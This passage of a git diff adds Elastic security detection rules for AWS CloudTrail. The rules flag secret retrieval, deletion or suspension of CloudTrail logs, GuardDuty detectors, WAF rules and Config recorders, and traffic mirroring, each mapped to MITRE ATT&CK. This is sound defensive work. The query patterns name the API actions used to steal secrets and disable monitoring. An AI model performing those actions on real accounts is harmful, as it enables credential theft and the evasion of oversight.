+name = "Brute Force" +reference = "https://attack.mitre.org/techniques/T1110/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + +[rule.threshold] +field = ["cloud.account.id"] +value = 10 + diff --git a/rules/integrations/aws/credential_access_secretsmanager_getsecretvalue.toml b/rules/integrations/aws/credential_access_secretsmanager_getsecretvalue.toml new file mode 100644 index 000000000..81d799975 --- /dev/null +++ b/rules/integrations/aws/credential_access_secretsmanager_getsecretvalue.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/07/06" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Nick Jones", "Elastic"] +description = """ +An adversary may attempt to access the secrets in secrets manager to steal certificates, credentials, or other sensitive +material +""" +false_positives = [ + """ + Verify whether the user identity, user agent, and/or hostname should be using GetSecretString API for the specified + SecretId. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS Access Secret in Secrets Manager" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html", + "http://detectioninthe.cloud/credential_access/access_secret_in_secrets_manager/", +] +risk_score = 73 +rule_id = "a00681e3-9ed6-447c-ab2c-be648821c622" +severity = "high" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Data Protection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:secretsmanager.amazonaws.com and event.action:GetSecretValue +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1528" +name = "Steal Application Access Token" +reference = "https://attack.mitre.org/techniques/T1528/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/integrations/aws/defense_evasion_cloudtrail_logging_deleted.toml b/rules/integrations/aws/defense_evasion_cloudtrail_logging_deleted.toml new file mode 100644 index 000000000..28943ebfc --- /dev/null +++ b/rules/integrations/aws/defense_evasion_cloudtrail_logging_deleted.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2020/05/26" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = "Identifies the deletion of an AWS log trail. An adversary may delete trails in an attempt to evade defenses." +false_positives = [ + """ + Trail deletions may be made by a system or network administrator. Verify whether the user identity, user agent, + and/or hostname should be making changes in your environment. Trail deletions by unfamiliar users or hosts should + be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS CloudTrail Log Deleted" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_DeleteTrail.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/delete-trail.html", +] +risk_score = 47 +rule_id = "7024e2a0-315d-4334-bb1a-441c593e16ab" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:cloudtrail.amazonaws.com and event.action:DeleteTrail and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/aws/defense_evasion_cloudtrail_logging_suspended.toml b/rules/integrations/aws/defense_evasion_cloudtrail_logging_suspended.toml new file mode 100644 index 000000000..e266a24db --- /dev/null +++ b/rules/integrations/aws/defense_evasion_cloudtrail_logging_suspended.toml @@ -0,0 +1,63 @@ +[metadata] +creation_date = "2020/06/10" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspending the recording of AWS API calls and log file delivery for the specified trail. An adversary may +suspend trails in an attempt to evade defenses. +""" +false_positives = [ + """ + Suspending the recording of a trail may be done by a system or network administrator. Verify whether the user + identity, user agent, and/or hostname should be making changes in your environment. Trail suspensions from + unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted + from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS CloudTrail Log Suspended" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_StopLogging.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/stop-logging.html", +] +risk_score = 47 +rule_id = "1aa8fa52-44a7-4dae-b058-f3333b91c8d7" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:cloudtrail.amazonaws.com and event.action:StopLogging and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/aws/defense_evasion_cloudwatch_alarm_deletion.toml b/rules/integrations/aws/defense_evasion_cloudwatch_alarm_deletion.toml new file mode 100644 index 000000000..e8b245ca7 --- /dev/null +++ b/rules/integrations/aws/defense_evasion_cloudwatch_alarm_deletion.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2020/06/15" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = "Identifies the deletion of an AWS CloudWatch alarm. An adversary may delete alarms in an attempt to evade defenses." +false_positives = [ + """ + Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Alarm + deletions by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it + can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS CloudWatch Alarm Deletion" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudwatch/delete-alarms.html", + "https://docs.aws.amazon.com/AmazonCloudWatch/latest/APIReference/API_DeleteAlarms.html", +] +risk_score = 47 +rule_id = "f772ec8a-e182-483c-91d2-72058f76a44c" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:monitoring.amazonaws.com and event.action:DeleteAlarms and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/aws/defense_evasion_config_service_rule_deletion.toml b/rules/integrations/aws/defense_evasion_config_service_rule_deletion.toml new file mode 100644 index 000000000..81cfc25a2 --- /dev/null +++ b/rules/integrations/aws/defense_evasion_config_service_rule_deletion.toml @@ -0,0 +1,66 @@ +[metadata] +creation_date = "2020/06/26" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies attempts to delete an AWS Config Service resource. An adversary may tamper with Config services in order to +reduce visibility into the security posture of an account and / or its workload instances. +""" +false_positives = [ + """ + Privileged IAM users with security responsibilities may be expected to make changes to the Config service in order + to align with local security policies and requirements. Automation, orchestration, and security tools may also make + changes to the Config service, where they are used to automate setup or configuration of AWS accounts. Other kinds + of user or service contexts do not commonly make changes to this service. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS Config Service Tampering" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.aws.amazon.com/config/latest/developerguide/how-does-config-work.html", + "https://docs.aws.amazon.com/config/latest/APIReference/API_Operations.html", +] +risk_score = 47 +rule_id = "7024e2a0-315d-4334-bb1a-552d604f27bc" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:config.amazonaws.com and + event.action:(DeleteConfigRule or DeleteOrganizationConfigRule or DeleteConfigurationAggregator or + DeleteConfigurationRecorder or DeleteConformancePack or DeleteOrganizationConformancePack or + DeleteDeliveryChannel or DeleteRemediationConfiguration or DeleteRetentionConfiguration) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/aws/defense_evasion_configuration_recorder_stopped.toml b/rules/integrations/aws/defense_evasion_configuration_recorder_stopped.toml new file mode 100644 index 000000000..d8c92cd24 --- /dev/null +++ b/rules/integrations/aws/defense_evasion_configuration_recorder_stopped.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2020/06/16" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = "Identifies an AWS configuration change to stop recording a designated set of resources." +false_positives = [ + """ + Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. + Recording changes from unfamiliar users or hosts should be investigated. If known behavior is causing false + positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS Configuration Recorder Stopped" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/configservice/stop-configuration-recorder.html", + "https://docs.aws.amazon.com/config/latest/APIReference/API_StopConfigurationRecorder.html", +] +risk_score = 73 +rule_id = "fbd44836-0d69-4004-a0b4-03c20370c435" +severity = "high" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:config.amazonaws.com and event.action:StopConfigurationRecorder and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/aws/defense_evasion_ec2_flow_log_deletion.toml b/rules/integrations/aws/defense_evasion_ec2_flow_log_deletion.toml new file mode 100644 index 000000000..6d9fde757 --- /dev/null +++ b/rules/integrations/aws/defense_evasion_ec2_flow_log_deletion.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/06/15" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of one or more flow logs in AWS Elastic Compute Cloud (EC2). An adversary may delete flow logs +in an attempt to evade defenses. +""" +false_positives = [ + """ + Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Flow log + deletions by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it + can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS EC2 Flow Log Deletion" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/delete-flow-logs.html", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteFlowLogs.html", +] +risk_score = 73 +rule_id = "9395fd2c-9947-4472-86ef-4aceb2f7e872" +severity = "high" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:DeleteFlowLogs and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/aws/defense_evasion_ec2_network_acl_deletion.toml b/rules/integrations/aws/defense_evasion_ec2_network_acl_deletion.toml new file mode 100644 index 000000000..35352e974 --- /dev/null +++ b/rules/integrations/aws/defense_evasion_ec2_network_acl_deletion.toml @@ -0,0 +1,64 @@ +[metadata] +creation_date = "2020/05/26" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of an Amazon Elastic Compute Cloud (EC2) network access control list (ACL) or one of its +ingress/egress entries. +""" +false_positives = [ + """ + Network ACL's may be deleted by a network administrator. Verify whether the user identity, user agent, and/or + hostname should be making changes in your environment. Network ACL deletions by unfamiliar users or hosts should + be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS EC2 Network Access Control List Deletion" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/delete-network-acl.html", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteNetworkAcl.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/delete-network-acl-entry.html", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteNetworkAclEntry.html", +] +risk_score = 47 +rule_id = "8623535c-1e17-44e1-aa97-7a0699c3037d" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Network Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:(DeleteNetworkAcl or DeleteNetworkAclEntry) and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/aws/defense_evasion_elasticache_security_group_creation.toml b/rules/integrations/aws/defense_evasion_elasticache_security_group_creation.toml new file mode 100644 index 000000000..31213904f --- /dev/null +++ b/rules/integrations/aws/defense_evasion_elasticache_security_group_creation.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2021/07/19" +maturity = "production" +updated_date = "2021/10/01" +integration = "aws" + +[rule] +author = ["Austin Songer"] +description = "Identifies when an ElastiCache security group has been created." +false_positives = [ + """ + A ElastiCache security group may be created by a system or network administrator. Verify whether the user identity, user + agent, and/or hostname should be making changes in your environment. Security group creations by unfamiliar users + or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS ElastiCache Security Group Created" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/AmazonElastiCache/latest/APIReference/API_CreateCacheSecurityGroup.html"] +risk_score = 21 +rule_id = "7b3da11a-60a2-412e-8aa7-011e1eb9ed47" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:elasticache.amazonaws.com and event.action:"Create Cache Security Group" and +event.outcome:success +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + [[rule.threat.technique.subtechnique]] + id = "T1562.007" + name = "Disable or Modify Cloud Firewall" + reference = "https://attack.mitre.org/techniques/T1562/007/" + +[rule.threat.tactic] +name = "Defense Evasion" +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" diff --git a/rules/integrations/aws/defense_evasion_elasticache_security_group_modified_or_deleted.toml b/rules/integrations/aws/defense_evasion_elasticache_security_group_modified_or_deleted.toml new file mode 100644 index 000000000..9b6e61fc5 --- /dev/null +++ b/rules/integrations/aws/defense_evasion_elasticache_security_group_modified_or_deleted.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2021/07/19" +maturity = "production" +updated_date = "2021/10/01" +integration = "aws" + +[rule] +author = ["Austin Songer"] +description = "Identifies when an ElastiCache security group has been modified or deleted." +false_positives = [ + """ + A ElastiCache security group deletion may be done by a system or network administrator. Verify whether the user identity, + user agent, and/or hostname should be making changes in your environment. Security Group deletions by unfamiliar + users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the + rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS ElastiCache Security Group Modified or Deleted" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/AmazonElastiCache/latest/APIReference/Welcome.html"] +risk_score = 21 +rule_id = "1ba5160d-f5a2-4624-b0ff-6a1dc55d2516" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:elasticache.amazonaws.com and event.action:("Delete Cache Security Group" or +"Authorize Cache Security Group Ingress" or "Revoke Cache Security Group Ingress" or "AuthorizeCacheSecurityGroupEgress" or +"RevokeCacheSecurityGroupEgress") and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + [[rule.threat.technique.subtechnique]] + id = "T1562.007" + name = "Disable or Modify Cloud Firewall" + reference = "https://attack.mitre.org/techniques/T1562/007/" + +[rule.threat.tactic] +name = "Defense Evasion" +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" diff --git a/rules/integrations/aws/defense_evasion_guardduty_detector_deletion.toml b/rules/integrations/aws/defense_evasion_guardduty_detector_deletion.toml new file mode 100644 index 000000000..6b62e24e4 --- /dev/null +++ b/rules/integrations/aws/defense_evasion_guardduty_detector_deletion.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/05/28" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of an Amazon GuardDuty detector. Upon deletion, GuardDuty stops monitoring the environment and +all existing findings are lost. +""" +false_positives = [ + """ + The GuardDuty detector may be deleted by a system or network administrator. Verify whether the user identity, user + agent, and/or hostname should be making changes in your environment. Detector deletions by unfamiliar users or + hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS GuardDuty Detector Deletion" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/guardduty/delete-detector.html", + "https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DeleteDetector.html", +] +risk_score = 73 +rule_id = "523116c0-d89d-4d7c-82c2-39e6845a78ef" +severity = "high" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:guardduty.amazonaws.com and event.action:DeleteDetector and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/aws/defense_evasion_s3_bucket_configuration_deletion.toml b/rules/integrations/aws/defense_evasion_s3_bucket_configuration_deletion.toml new file mode 100644 index 000000000..145b8d6bf --- /dev/null +++ b/rules/integrations/aws/defense_evasion_s3_bucket_configuration_deletion.toml @@ -0,0 +1,60 @@ +[metadata] +creation_date = "2020/05/27" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = "Identifies the deletion of various Amazon Simple Storage Service (S3) bucket configuration components." +false_positives = [ + """ + Bucket components may be deleted by a system or network administrator. Verify whether the user identity, user agent, + and/or hostname should be making changes in your environment. Bucket component deletions by unfamiliar users or + hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS S3 Bucket Configuration Deletion" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketPolicy.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketReplication.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketCors.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketEncryption.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketLifecycle.html", +] +risk_score = 21 +rule_id = "227dc608-e558-43d9-b521-150772250bae" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Asset Visibility"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:s3.amazonaws.com and + event.action:(DeleteBucketPolicy or DeleteBucketReplication or DeleteBucketCors or + DeleteBucketEncryption or DeleteBucketLifecycle) + and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1070" +name = "Indicator Removal on Host" +reference = "https://attack.mitre.org/techniques/T1070/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/aws/defense_evasion_waf_acl_deletion.toml b/rules/integrations/aws/defense_evasion_waf_acl_deletion.toml new file mode 100644 index 000000000..939b4a030 --- /dev/null +++ b/rules/integrations/aws/defense_evasion_waf_acl_deletion.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = "Identifies the deletion of a specified AWS Web Application Firewall (WAF) access control list." +false_positives = [ + """ + Firewall ACL's may be deleted by a system or network administrator. Verify whether the user identity, user agent, + and/or hostname should be making changes in your environment. Web ACL deletions by unfamiliar users or hosts + should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS WAF Access Control List Deletion" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/waf-regional/delete-web-acl.html", + "https://docs.aws.amazon.com/waf/latest/APIReference/API_wafRegional_DeleteWebACL.html", +] +risk_score = 47 +rule_id = "91d04cd4-47a9-4334-ab14-084abe274d49" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Network Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.action:DeleteWebACL and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/aws/defense_evasion_waf_rule_or_rule_group_deletion.toml b/rules/integrations/aws/defense_evasion_waf_rule_or_rule_group_deletion.toml new file mode 100644 index 000000000..1714eb4fa --- /dev/null +++ b/rules/integrations/aws/defense_evasion_waf_rule_or_rule_group_deletion.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2020/06/09" +maturity = "production" +updated_date = "2022/03/11" +integration = "aws" + +[rule] +author = ["Elastic"] +description = "Identifies the deletion of a specified AWS Web Application Firewall (WAF) rule or rule group." +false_positives = [ + """ + WAF rules or rule groups may be deleted by a system or network administrator. Verify whether the user identity, user + agent, and/or hostname should be making changes in your environment. Rule deletions by unfamiliar users or hosts + should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS WAF Rule or Rule Group Deletion" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/waf/delete-rule-group.html", + "https://docs.aws.amazon.com/waf/latest/APIReference/API_waf_DeleteRuleGroup.html", +] +risk_score = 47 +rule_id = "5beaebc1-cc13-4bfc-9949-776f9e0dc318" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Network Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:(waf.amazonaws.com or waf-regional.amazonaws.com or wafv2.amazonaws.com) and event.action:(DeleteRule or DeleteRuleGroup) and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" diff --git a/rules/integrations/aws/exfiltration_ec2_full_network_packet_capture_detected.toml b/rules/integrations/aws/exfiltration_ec2_full_network_packet_capture_detected.toml new file mode 100644 index 000000000..435f2ff78 --- /dev/null +++ b/rules/integrations/aws/exfiltration_ec2_full_network_packet_capture_detected.toml @@ -0,0 +1,73 @@ +[metadata] +creation_date = "2021/05/05" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies potential Traffic Mirroring in an Amazon Elastic Compute Cloud (EC2) instance. Traffic Mirroring is an Amazon +VPC feature that you can use to copy network traffic from an Elastic network interface. This feature can potentially be +abused to exfiltrate sensitive data from unencrypted internal traffic. +""" +false_positives = [ + """ + Traffic Mirroring may be done by a system or network administrator. Verify whether the user identity, user agent, + and/or hostname should be making changes in your environment. Traffic Mirroring from unfamiliar users or hosts + should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] 